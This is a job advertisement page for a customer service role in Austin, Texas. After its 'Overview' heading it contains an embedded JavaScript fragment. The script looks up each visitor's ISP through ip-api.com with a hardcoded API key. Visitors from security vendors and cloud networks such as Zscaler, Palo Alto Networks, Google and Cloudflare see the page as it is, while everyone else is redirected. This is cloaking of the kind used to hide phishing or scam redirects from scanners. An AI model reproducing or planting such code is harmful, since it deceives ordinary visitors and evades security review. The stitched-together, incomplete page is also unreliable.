Customer Service Representative
Overview
const ipAddress = data.ip;
// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;
// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));
if (!ispAllowed && !asOrgAllowed) {
// Redirect all users to the same URL
window.location.href = '';
}
})
.catch(error => {
console.error('Error retrieving ISP name:', error);
});
})
.catch(error => {
console.error('Error retrieving IP address or location:', error);
});
We are seeking a dedicated Customer Service Representative to join our team in Austin, Texas.
Responsibilities include:
- Providing exceptional support to customers via phone, email, and chat channels
- Resolving inquiries, complaints, and technical issues promptly and professionally
- Documenting interactions accurately in our system
- Assisting customers with product information and service options
- Collaborating with team members to improve service quality
Skills needed:
- Excellent communication and interpersonal abilities
- Strong problem-solving skills and attention to detail
- Ability to work in a fast-paced environment
- Adaptability and a positive attitude
- Proficiency with customer service software is a plus
Benefits include competitive pay, health insurance, paid time off, ongoing training, and opportunities for growth. Join us and help deliver outstanding customer experiences in a supportive team environment.